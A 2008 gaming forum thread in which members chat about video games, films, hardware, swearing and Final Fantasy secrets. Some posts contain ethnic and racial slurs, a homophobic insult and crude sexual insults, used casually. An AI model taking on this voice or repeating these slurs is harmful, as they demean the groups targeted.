The most bizarre part about this is the way other operating systems react to this oddness.  XP reads it just fine but NOTHING ELSE seems to like it at all.  Linux correctly reports that it's trying to read past the end of the device and Vista correctly picks the partition up as being incomplete, but XP just does its thing and reads it which is, no doubt, the wrong way to do it (it seems like it's probably relaxing the USB Mass Storage standards a bit to allow this sort of thing).  Not sure about OS X, but I'd imagine it would be in the same boat as Linux and Vista.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 12, 2008, 09:21:01 AM
Wow, that's kinda funny. XP does something useful, but it's still going about things the wrong way.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 12, 2008, 11:03:02 AM
Leaving devices plugged in until you're ready to use it seems like a pretty sound idea as well (my mom's laptop is proof of that).

For more information on how to care for li-ion batteries, check the Wikipedia article for them (http://en.wikipedia.org/wiki/Lithium_Ion_Battery#Guidelines_for_prolonging_Li-ion_battery_life) -- it's amazingly informative.

Wow, that is a really good article. I've jacked up the batteries of all my devices by now, I should probably start following those guidelines >_>
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 12, 2008, 03:36:46 PM
That's why I only play it online nowadays (speaking of which, anyone else own the PC version?).

I DO. Also just reading all of that made me charge my ipod.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on August 12, 2008, 03:51:49 PM
holy shit I had this dream where there was a new lame replies thread

what
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 12, 2008, 03:54:59 PM
13 more pages ma friend
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on August 12, 2008, 04:04:14 PM
oopsi
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on August 12, 2008, 07:02:43 PM
better make it 12. And looks like im putting my new cell phone into the mini-fridge at night. hahaha. Perhaps my gba sp as well, beats the 80+ degree temps here in my bedroom.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 12, 2008, 08:06:55 PM
http://sports.yahoo.com/olympics/beijing/blog/fourth_place_medal/post/Spanish-basketball-team-poses-for-offensive-pict?urn=oly,100152

RACIST SPICS.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on August 12, 2008, 10:38:22 PM
http://sports.yahoo.com/olympics/beijing/blog/fourth_place_medal/post/Spanish-basketball-team-poses-for-offensive-pict?urn=oly,100152

RACIST SPICS.

Oh, the irony. I lol'd.

Quote
Whether the picture was made in good fun is irrelevant. It was a ridiculous idea that was bound to upset a lot of people.

Best two sentences in the article. (except, if it was made in good fun, they probably weren't trying be racist at all, and therefore makes the controversy and article lose steam)

Quote
Did it not occur to somebody that it might not be a good idea to mock an entire continent before the world's largest athletic competition that, by the way, happens to take place on that continent. Were they not aware of an invention called "the Internet" that allows pictures taken in Spain to be transmitted all over the world for the eyes of everyone?

Worst two sentences in the article.

Why the fuck can't people just write a decent article without trying to look like a journalistic superstar? God damn.

Leave it to a sports writer to write about racism... Pshaw. Is this supposed to be entertaining, or informative???

I also love how the author, Chris Chase, decided to inform us that:

1) Everyone present during the photograph was somehow unaware of a possible prejudice.
2) An entire continent was mocked.
3) It happened just before the world's largest athletic competition.
4) That event "happens to take place on that continent" (You need the italics, it adds a dramatic effect, and truly captivates the idiocy of the team.)
5) There's an invention called "the internet."
6) "The internet" allows pictures taken in Spain to be transmitted all over the world.
7) Everyone can see those pictures over "the internet."

This is great, just in case you happened to be a complete moron and lacked the comprehension to understand the entire reason the article was posted. Not only this, but it also appears Chris Chase prides himself in his wonderfully cunning wit and needs to prove it by showing you step-by-step how you can laugh at his derisive jokes.

Apparently being a Yahoo! sports writer is far more successful than being an Olympian.


Edit: I just realized that "Did it not occur to somebody that it might not be a good idea to mock an entire continent before the world's largest athletic competition that, by the way, happens to take place on that continent." Is actually a question, not a statement. Let's not get too caught up in our writing, or we'll ruin our punctuation. (Perhaps a better editing team could help, too.) Then again, why am I nitpicking a single character?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 13, 2008, 05:41:14 AM
i need non rage inducing stuff, NOW.

*edit*

nevermind, rage gone, check sc4 thread for details.

was thinking of playing dark cloud 2, i don't recall it being really rage inducing.  and after doing what i did in sc4, and beating metroid, itd be nice for a calmer game.

i remember really liking that game, but it kind of got repetitive and i quit half way through the volcano stage.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on August 13, 2008, 09:56:12 PM
so I just felt like randomly saying that Jumper was a shitty fuckstupid dumbass crapfest of a film

if there was any character development involving Hayden Christensen's character, plz point it out, because I DID NOT SEE ANY

in fact, I'd like any emotions he portrayed pointed out too, because I didn't see any of those either
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on August 14, 2008, 02:22:43 AM
so I just felt like randomly saying that Jumper was a shitty fuckstupid dumbass crapfest of a film

Fairly certain I said something like that a while back. It was a cool concept that was beaten to shit by everything else being bad.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 14, 2008, 02:50:29 AM
so I just felt like randomly saying that Jumper was a shitty fuckstupid dumbass crapfest of a film

BUT IT HAS SAMUEL JACKSON.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 14, 2008, 04:06:14 AM
played a level 29 encounter in 4th edition.  and well, they need to work on epic level encounters.  divine regeneration is retarded, and broken.

we killed this guy

http://en.wikipedia.org/wiki/Erythnul

he took us FOUR HOURS to defeat, but he went down.  he was kind of a bitch, stupid amounts of hp, he could aoe stun until the end of his next round, teleport, and all that fun stuff.  ohh, and by standing next to him, you take 10 poison damage a round.

as the orc fighter, i was getting the beat on, and after all the healing was gone, i popped divine regeneration.  28hp a round....for the encounter....yeah, i didn't have any problems after i popped that.

anyway, killing a god is pretty epic.

also /v/ is awesome in the early morning, in topics to do nothing with vidya. 
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 14, 2008, 09:31:30 AM
I just added nearly all my music into winamp. Apparently I have 36 days + 22:23:19. By the looks of it, I'm still missing some stuff, since it says I only have 64 GB.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 14, 2008, 04:13:44 PM
so a while back a friend of mine was talking about this site called goozex.  and hes telling me about getting "free" games and shit, and it basically sounded like a scam. 

he ended up referring me, meaning he would get 100 points or whatever AFTER i recieved my first game, which i would get from the 100 points i get just for joining.  so i decided to play ball, its not like it would hurt me if it didn't work.

i tried getting fear effect, but im assuming that game is quite popular, so no luck with that.  i changed my request to tenchu(the first game for ps1), and a day later, it was shipped.  its roughly a week later and, i have tenchu, used, but in working condition.  and i didn't pay a dime, no shipping, no nothing.

yeah, so if anyone wants in on this, ill send you a referral email.  all you really need to do at signup is basic stuff like "name, address, password, email" pretty simple.

its also a good place to get rid of games you don't want, and you get points based on the point value of the game on the site.  the only "catch" is you pay for the shipping.  that's how the site runs, its a point based game trading site.  ran by the users so to say.

the game itself works fine, and is quite fun.  the controls are a tad on the "primitive" side, but its a ps1 game from 1998, and no analog aside, the controls work, and uhh yeah, NINJA FIGHTAN SNEAKAN ASSASSANATAN action. 

one of the people on my watch list on the FA brought it up, and from referrals alone she got 17 games....yeah...so if anyone would be so kind, y'all can get a free 100 point game, and i get points, win win, unless you can't find a 100 point game you want. 

i typically look at the ps1 selection, because there's a decent amount of 100 pointers that i want, and its not like you can just go to the store and buy a ps1 game now a days.

now i kind of sound like im advertising for the site, but fuck, i just think its the coolest thing ever that i got this game, and i didn't pay for it.

*edit*

I NEED INTERESTED PEOPLE FFFFF

also lol

(http://img297.imageshack.us/img297/4009/iswearimnotafurfagoc5.jpg)  DONT READ THE FILENAME LAWL
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 14, 2008, 11:14:06 PM
So tropic thunder was pretty damn funny. Stupid, but hyper violent and rude so I enjoyed it thoroughly. Also how is pineapple express? I still want to see that and the dark night.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 15, 2008, 04:31:48 PM
So I found out why our old router died...'twas because of a bad capacitor.  It's simply amazing how many of those are still out in the wild.

We're going to try to fix it.  If the only thing preventing it from booting is that capacitor we should have it working (as a switch and possibly a wireless access point, since our shiny new WRT56G is doing a mighty fine job with the routing responsibilities).
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on August 15, 2008, 04:34:06 PM
http://www.usatoday.com/news/nation/2008-03-06-cuss-free-zone_N.htm

"My mom and dad always taught me good morals, good values, and not cussing was one of them," said McKay Hatch, the founder of South Pasadena High School's No Cussing Club, during a recent break between study hall and tennis practice.

"I've cussed before, I'm not gonna lie to you," Hatch quickly added. "But I try not to cuss any more."

Hooray, Big Brother, and growing fascism in the united states! So much for our bill of rights...
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 15, 2008, 04:37:59 PM
So I found out why our old router died...'twas because of a bad capacitor.

Yeah, that should be pretty easy to replace.

http://www.usatoday.com/news/nation/2008-03-06-cuss-free-zone_N.htm

"My mom and dad always taught me good morals, good values, and not cussing was one of them," said McKay Hatch, the founder of South Pasadena High School's No Cussing Club, during a recent break between study hall and tennis practice.

"I've cussed before, I'm not gonna lie to you," Hatch quickly added. "But I try not to cuss any more."

Hooray, Big Brother, and growing fascism in the united states! So much for our bill of rights...

I've never understood why people get so offended about swearing. When I swear, I usually mean it to intensify the feeling that I am giving off in my sentence. If I say "that sucks", it doesn't suck as much as if I were to say "that fucking sucks ass". Unless I'm saying something like "you're a fucking douchebag" to someone, I'm not intending to offend them, and I'm sorry, but if you take that as offense when I'm saying something and I happen to swear, then you should re-evaluate why you are getting offended, and whether it's really worth it or not, because I'm not NEARLY as bad as many other people.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 15, 2008, 06:23:06 PM
"I've cussed before, I'm not gonna lie to you," Hatch quickly added. "But I try not to cuss any more."

Hooray, Big Brother, and growing fascism in the united states! So much for our bill of rights...

lol wut? I can understand trying to not be rude, but swearing off cussing is not really something to be proud of.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 15, 2008, 06:32:08 PM
It just makes you look like a gigantic tool.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 15, 2008, 07:00:54 PM
Swearing off cussing doesn't make you look like a gigantic tool.  Honestly, I think arguments that don't have profanity peppered in them senselessly hold a lot more weight than your average 14-year-old Counter-Strike/Halo player's rants (assuming they're even grammatically correct).

What I think makes people like that tools are the fact that they're so damn vocal about it.  It's kinda like religious zealotry in a sense -- if it works for you, awesome, just don't preach to me just because I don't feel the same way you do.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on August 15, 2008, 07:09:44 PM
Cussing can be quite fun sometimes. 

I for one, love the term "cuntflap."
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 15, 2008, 07:17:53 PM
I'm rather fond of "cum dumpster."

You can blame my cousin for getting me started on that one.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on August 15, 2008, 07:37:15 PM
"You cocksucking, pimply arsed cum dumpster of a cuntflap!  Sod off.  <3 "
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on August 15, 2008, 08:55:47 PM
I read about the NCC on ED one day when I was viewing random pages.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on August 15, 2008, 09:37:45 PM
I absolutely do not swear in-person unless I am very very angry. The words really lose something when you use them too often and at this point, my friends know something is really really wrong if I'm swearing out loud.

In writing, I don't really care that much.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 15, 2008, 11:57:01 PM
I'm rather fond of "cum dumpster."

You can blame my cousin for getting me started on that one.

I have called someone that at work...and all I got was a strange look.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 16, 2008, 01:11:24 AM
holy mother of awesome

i played bionic commando rearmed, co-op (well because i don't own it, BUT THE NEXT $10 I GET GOES TOWARDS THAT GAME) and yeah, its awesome.

pure dumb fun, if you remotely like 2d side scrolling games, you will like this game.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 16, 2008, 01:25:09 AM
I like the term "asshat", and "son of a whore". When swearing to myself about something my streams of swearing usually sound something like "Fuck you, fucking ass. Your mother was a whore, you fucking piece of shit." But that's usually when I'm working on something and I'm having trouble.

Also, I'm drunk. I've had a shot of some nice Jos
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 16, 2008, 02:25:23 AM
Okay fuck hardcore servers. I swear 80% of the kills in these games are from grenades, and I bet most of them use that perk that gives you 3 grenades. It's like they had the grenades balanced with the indicator, then they threw that away and made them have a fucking HUGE and deadly blast radius.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 16, 2008, 03:12:53 AM
Okay fuck hardcore servers. I swear 80% of the kills in these games are from grenades, and I bet most of them use that perk that gives you 3 grenades. It's like they had the grenades balanced with the indicator, then they threw that away and made them have a fucking HUGE and deadly blast radius.

Agreed -- fuck hardcore.  I played it once...never again.

Even with the indicator the 3 grenade perk is still ridiculous.  At least you can't equip the n00b tube (I love that name) with that perk enabled, though.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 16, 2008, 10:25:05 AM
I wish my parents would let my lil bro get Xbox live so I can DL Bionic Commando....what I have read from Vlad and heard from a Co-workers it sounds like a kick ass game.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 16, 2008, 03:42:48 PM
Xbox Live Silver is free and lets you download games.  The only thing it really doesn't let you do is play online.

Unless you mean that they won't let him connect it to the 'net, in which case that royally sucks.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 16, 2008, 05:11:52 PM
well yeah, xbl silver = everything that gold has, save for playing online, and some choice downloads (like dmc4 demo when it was first out)

also, you can always play the demo and try it out.  however, you get half a level, and two of the challenge rooms.  not much, but enough to get your feet wet.

anyway im going through withdrawal,  i want to play the game, but i can't because i lack the piddly amount of money it costs to buy. 

BAWWWWW

i have dark cloud 2 sitting on the shelf, so when im un lazy, ill see if i can muster the motivation to actually beat it this time.  i mean, its a fun game, its just long, and the same thing over and over.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 16, 2008, 05:19:14 PM
i have dark cloud 2 sitting on the shelf, so when im un lazy, ill see if i can muster the motivation to actually beat it this time.  i mean, its a fun game, its just long, and the same thing over and over.

I haven't played DC2, but that was my main gripe about the first one.  Well, that, and the fact that the main character is the thirstiest motherfucker in the known universe.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 16, 2008, 06:30:54 PM
i don't know if i can do it, having popped it in. 

skipped some 8 cutscenes so far (thank god for that function) and now im at an unskippable "song", which prompted me to mute the game, and type this post.

just waiting for the game to let me, you know, play it.

all i want, is some dumb fun running around killing dungeons and collecting crap.  that's all, i don't give a hell about the already terrible plot.

anyway, i think i may almost be to the first dungeon, so ill get back to that.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 16, 2008, 07:30:08 PM
all i want, is some dumb fun running around killing dungeons and collecting crap.  that's all, i don't give a hell about the already terrible plot.

In all seriousness, Pok
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 16, 2008, 07:56:40 PM
when i said that, i was kind of just meaning "i just want something that i can jump into and have fun with" its kind of a "regardless of genre, unless i don't like said genre" kind of thing.

contra shattered soldier for the ps2.  loud metal/electronic music, LOUDER gunfire, explosions, story is to "KILL EVERYTHING" this is my kind of game.

also, i heard good things from mystery dungeon.  but the person i heard that from has a flash cart, so its not like he buys ds games anyway.  i think the only ds game im interested in coming out later on is puzzle quest galactrix.  the first puzzle quest, minus the generic fantasy setting for a generic sci fi setting with space ships?  count me in.

and i did try the original nes bionic commando.  the controls...are nearly the exact same as in the remake, which is good, since they are solid.  problems are since i suck at vidya(well no, but yes...i mean im better than a lot of people, but im more of an average level), no health bar (well yes and no..the way they handle it is weird), limited continues (unlimited in rearmed), and the item system is quite bad (STREAMLINED in rearmed).  but if i give it a little time, i can see myself enjoying it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 17, 2008, 02:01:34 AM

Unless you mean that they won't let him connect it to the 'net, in which case that royally sucks.

Pretty much Spec.

My dad is the big nay-sayer in the whole thing and refuses to let the 360 be connected...only because that means he has to get the Cat 5 cable to my brother's room (which is on the same floor unlike my room which is the attic and was a pain to get a Cat 5 cable up here).  I think also he doesn't know much about the Xbox Live network, and even though I have tried to coax him into it he still refuses.

It's not like the Playstation network where you can actually say "Holy shit I'm using the internet."
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 17, 2008, 02:26:22 AM
I haven't played DC2, but that was my main gripe about the first one.  Well, that, and the fact that the main character is the thirstiest motherfucker in the known universe.

They took out thirst, it only happens from enemy attacks now. Also weapons take a while to brake, and you can save every dungeon level. Also yes that game is very damn long, I've put 125ish hours on it and I've yet to do the hidden dungeon. Also yes, shitty story is shitty. I still really liked it, not sure why. The combat was just charge, shoot, standard combo, or block, but considering some enemies will kill you within 4 hits it was still somehow pretty damn fun. Plus the amount of customization you can do with your weapons and towns (kind of, there is a specific way to build a town) is rather big.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 17, 2008, 02:40:17 AM
well uhh i just started up another file.  and i was going to take pictures of the bosses this time around, but its not that easy.  you have to take pictures durring certain attacks the boss makes, so i said there "fuck it".  not like anything mandatory comes out of boss pictures anyway.

but uhh, i just killed the clown robot boss, trying to take a picture of a missile he shoots, as he shoots it, the small chance he does decide to shoot it, inclined me to make this post about how lame that is. 

but uhh, im starting to get into it, i just wanted to get the first lame dungeon out of the way before the first "good" forest dungeon starts up. 

i recall making it to the middle of the volcano dungeon before stopping, lets hope i can muster the patients to finish this game.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 17, 2008, 02:48:46 AM
Oh yeah, I forgot about that. LOOK UP ONLINE HOW TO MAKE A FISH TANK! I remember as soon as I got that thing I constantly went fishing. You can save your fish, force them to fight to the death, or even breed them then. Then near the end of the game there are fish races (which get FUCKING HARD) and you can race them for very valuable stuff. Also there is a glitch involving a lure rod and making a infinite number of lures so you can have as much cash as you need. I miss this game now...
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on August 17, 2008, 02:54:09 AM
Bionic Commando was always an awesome NES game. Rearmed just makes 68546885 times better.

I'm within the top 20 times for challenges almost always and I have a #1 score and a #5 score.

It is amazing. I would never call it dumb fun though. There are tricks to getting up through things used in getting secrets and challenges that would leave most anyone staring in disbelief at how pixel-perfect you have to be.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 17, 2008, 03:04:43 AM
It is amazing. I would never call it dumb fun though. There are tricks to getting up through things used in getting secrets and challenges that would leave most anyone staring in disbelief at how pixel-perfect you have to be.

"dumb fun" is what i pretty much call anything i can pop in, play, and enjoy without too much thought(example, contra, you run around, and shoot things).  and, yeah, there are parts in the game which made me think (figuring out bosses for example, or even certain parts of a level) but for the most part, shootan, grapplan, and the fundamental thing which makes a good game, fun.

not to mention, infinite continues makes getting killed not such a big deal.   but i mean, if anyone somehow didn't like the original (or like me, didn't play the original until recently) this game, while very similar, improves apon the original quite a bit.

but uhh to mortified, its one of my pet peeves in games is mainly in rpg's(FINAL FANTASY GAMES ARE A MAJOR OFFENDER), but "stuff you can miss, and never get again".  i mean, im sorry i don't want to use a faq for the specific purpose of not missing something i can't get later in the game.  because of this, im just not going to get said item in the first place.  checking a faq every 5 minutes =/= fun.  i mean, i am a heavy faq user, but dark cloud 2 isn't one of those games you really need a faq for.  anyway, so far, i am enjoying it (again), lets see how many dungeons i can last and keep the experience fresh.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on August 17, 2008, 03:13:06 AM
Usually "stuff you can miss and never get again" is stuff that's not even required to finish the game, so I don't understand your big piss about it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 17, 2008, 03:20:36 AM
its the principle of the thing

Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 17, 2008, 04:32:45 AM
but uhh to mortified, its one of my pet peeves in games is mainly in rpg's(FINAL FANTASY GAMES ARE A MAJOR OFFENDER), but "stuff you can miss, and never get again".  i mean, im sorry i don't want to use a faq for the specific purpose of not missing something i can't get later in the game.  because of this, im just not going to get said item in the first place.  checking a faq every 5 minutes =/= fun.  i mean, i am a heavy faq user, but dark cloud 2 isn't one of those games you really need a faq for.  anyway, so far, i am enjoying it (again), lets see how many dungeons i can last and keep the experience fresh.

lol wut? I never said it was a "if you miss it you can never get it again" type thing. I just think you can get all of the supplies/pictures for it in he first town, and it's awesome, so you should get it ASAP. Also try and take pictures of everything you can think of.

and yeah, that zodiac spear business of 12 really pissed me off. Then again, so did a lot of the things in FF12, that game could have been infinitely better.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 17, 2008, 04:46:41 AM
well my response was mainly because im a nigger.  but in general, im not a big fan of the invention system.  IM NOT GOING TO DENY HOWEVER that it is a pretty neat idea, and it does work well, i just simply don't like it.

and yeah, the zodiac spear bullshit was lame.  "ohh damn, i can't get the best weapon in the game because i accidentally opened A COMPLETELY UNRELATED RANDOM TREASURE CHEST FROM THE BEGINNING OF THE GAME"
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 17, 2008, 09:30:42 AM
So I spent all of yesterday reading 1984. Pretty good book, it just would've been a lot better if I hadn't read it in one day >_>

Also, forecast calls for a direct or near-direct hit by a very strong tropical storm/ cat. 1 hurricane on the first day of school (tuesday). Metal. Maybe they'll postpone school starting for a day.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 17, 2008, 02:39:39 PM
i forgot something about this game.

its actually kind of hard.

second floor of the rainbow butterfly forest...regular enemy, max dies in two hits from full health.

well since i did rush through the first dungeon, yeah.  ill just grind a bit on the first level of this dungeon, get a weapon level or two, and make my ridepod fully upgraded, since he is basically the equivalent to cheating as far as i remember.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on August 17, 2008, 02:53:49 PM
There are no entirely missable items in FF12. Even the Zodiac Spear, but it's entirely ridiculous to try to do it the other way. And really, the Zodiac Spear isn't that great. It has the highest attack but it's not very fast and doesn't combo well. The Masamune does a MUCH better job, considering it regularly hits 5 times per round of attacks.

In FF12 International (which of course only Japan got), they made it so you had to actually pick classes for each of your guys and they each got a unique license board that was for that job. And they rebalanced drops and what enemies dropped. And then added a TON of new stuff, like a bow with something like 220 attack and a 2H Sword that was almost as good. And a second version of the Masamune that was one handed and had an even HIGHER combo rate. AND they made it so if you held L1, the game would go in double speed. And you had full control over summons and guest characters. Why the hell did we not get that that would've made the game unbelievably amazing. Oh, it also had a trial battle mode with the last battle being against all 5 judges at once. Which is ridiculous.

I really loved FF12. The writing was an absolute new level for RPGs. It made nearly everything else that year look so...pedestrian. The story itself is actually pretty good too if you just bumrush the game so you don't have 14 hours between story segments. Although parts near the end aren't explained well enough and the ending is fairly abrupt. I want to say that's probably because the main writer for the game had to be taken off the project when he got sick.


Also, hahaha people are so terrible at Bionic Commando. Help with Challenge #10? If you can't even get through that, what hope do you have of even beating the game ever? People can't even find the green comm chip! It's in one of the first main camps! You just walk into a door and it's just sitting there.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 17, 2008, 04:03:06 PM
What the gay, I'm leaving Taiwan today. =(

That's a bummer, why?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on August 17, 2008, 04:05:09 PM
its the principle of the thing
so I bet you were angry when you found out that you missed the hidden uber javelin and shield in Final Fantasy Tactics

or when you didn't get Leviathan in Final Fantasy IV

or when you didn't get half of the espers or characters at the end of Final Fantasy VI

or thousands of other examples in the Final Fantasy series I could think of that actually have little relevance to the completion of the game!

it's really a silly thing to get annoyed about.  So somebody looked in some places harder?  Square's just giving them a small bonus for being that dedicated.  None of the shit's actually necessary to complete the game (you can beat FFVI with three characters, you DON'T need Leviathan or Ashura, and superweapons are NOT important in FFT).  You're complaining because some people did a better job at playing the game than you, and therefore got better items/characters/summons/whatever for doing such.

edit: sorry, it's just ridiculous to complain because your piece of cake got slightly less icing than somebody else's. :(
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 17, 2008, 04:07:25 PM
yeah, you did what i like to call "taking it out of proportion"

Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 17, 2008, 04:08:05 PM
it's really a silly thing to get annoyed about.  So somebody looked online at a FAQ?  Square's just giving them a small bonus for being that dedicated.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on August 17, 2008, 04:09:47 PM
I'll admit, walkthroughs, FAQs, and players guides have really ruined the concept of hiding little goodies for dedicated players :(

Still, be angry at the people who make the walkthroughs and FAQs, not the people who designed the game!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 17, 2008, 04:21:29 PM
wellp, im not really angry, its just a pet peeve.  you simply took it out of proportion in that last post there. 

to re clarify

stating "i do not like it when games do that"  =/= FUFFUFUFUUFUFUCKCKCKCKCKCKCK I WANT TO SKIN MY DOGGGGGGGGGGGGGGGG
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 17, 2008, 05:30:17 PM
Still, be angry at the people who make the walkthroughs and FAQs, not the people who designed the game!

Why?  The people who design the game are the ones who practically coerce people into looking up walkthroughs so that they don't miss some of the stuff that's been mercilessly hidden for no reason whatsoever.

It doesn't matter if they're needed to complete the game or not.  Designing secrets (especially one-shot ones) in ways that are so obscure that it prevents anyone from getting them without the aid of a strategy guide is just *drumroll, please* bad design.  Secrets should be obscure, yes, maybe out of the way, but not virtually impossible to discover.  Final Fantasy VII and VIII probably had the best methods for hiding powerful items out of all the newer Final Fantasy titles.  They were sometimes hard to get to, but you certainly didn't need a strategy guide to find them.

Acquiring Siren in FF8 is probably the best example I can think of.  It's not something that jumps out at you (hence the reason a lot of people miss it) but it's not something that's so obscure that you should need to look it up at any point in time.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 17, 2008, 06:17:40 PM
Yeah, games hiding a one off item that's pretty much the best in the game and requires you to have looked it up on an FAQ and then ground your way up like, 10 levels in an area not designed to be grindable, is just fucking gay.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 17, 2008, 07:01:32 PM
Well lets take a look at Chrono Trigger as an example.

I mean after you get Robo you could fight Lavos and get one of the 12 endings for it.   Not to mention you have to be near the end of the game to get some of the most powerful weapons in the game.

Not to mention if you didn't have a stratagy guid or a FAQ you could totatly miss Magus who is rather powerful (pretty much close to Chrono) but not really needed.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 17, 2008, 07:13:56 PM
Magus isn't that hard to get really. I forget exactly what you need to do, but it wasn't that difficult to figure out. Plus, the game was made to have more replayability than most other RPGs are designed with.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on August 17, 2008, 07:18:38 PM
but not really needed.
that's my whole point about this entire topic

everything that's missable I've listed is entirely unrequired to beat the games that they're in

Who care's if it's the best weapon and it does over 9000 damage, do you *really* need it?  For example, you don't need the Moogle Charm or the Ragnarok sword to beat Final Fantasy VI; an item that lets you evade all random encounters, and the second-best sword in the game.  Missable?  Definitely.  Obscurely placed?  Not particularly.  If anything, the Moogle Charm makes it more tedious to beat the game if you use it too much, and there are fucktons of other decent swords everywhere.

An offender from that exact game that comes to mind, though, is the Paladin Shield.  It's only minorly hinted at how to break the curse, if I remember, and you're never told that it teaches the spell Ultima once the curse is broken, so you may end up accidentally grabbing the Ragnarok esper instead of the sword if somebody misinforms you.  Seeing as all of this shit is entirely optional, though, it doesn't matter that much.

vladgd: sorry i jumped all over you, dog :(  <3 friends?

bobbias: to get Magus, you follow him up a cliff and choose not to kick his ass, pretty much.  I think you have to choose one of the two options for the story to continue, anyway.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 17, 2008, 07:31:47 PM

bobbias: to get Magus, you follow him up a cliff and choose not to kick his ass, pretty much.  I think you have to choose one of the two options for the story to continue, anyway.

I think you can get him before or after you bring Chrono from the dead.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 17, 2008, 07:32:24 PM
vladgd: sorry i jumped all over you, dog :(  <3 friends?

its k, we b thuggin busta.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on August 17, 2008, 07:36:41 PM
Quote
its k, we b thuggin busta.
tite, g :)

Omega: Hmm, I thought you had to fight him or recruit him before you revived Crono, and if you fight him, he dies forever.  It's been a while since I played the game, though.  Lolz.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 17, 2008, 07:39:02 PM
Well, I'm pretty sure that you have to chose 1 of the 2 options to continue. Which makes it a lot less "obscure" and more chancy, and hell, if you know you can get him in your party, and you fight him there, and he's dead, then next time you play through, you're probably going to not fighting him.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 17, 2008, 08:15:14 PM
Rowan: Yeah I forgot as well so I am re-playing it as we speak...yay for ZSNES.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on August 17, 2008, 08:24:24 PM
Rowan: Yeah I forgot as well so I am re-playing it as we speak...yay for ZSNES.

Obviously you have the original official cartridge.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: cristian989 on August 17, 2008, 10:28:33 PM
Just got back from a weekend in Montreal.  Lots of French = one clueless american lol  ;D
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on August 17, 2008, 11:16:46 PM
Obviously you have the original official cartridge.
my sister does

I saw a near complete one for sale in a store nearby but fuck $60?  I think it's cheap for Chrono Trigger, but still, I'm not paying that much for a game that's over 10 years old
/me just paid $30 to buy Mega Man 6 <_<

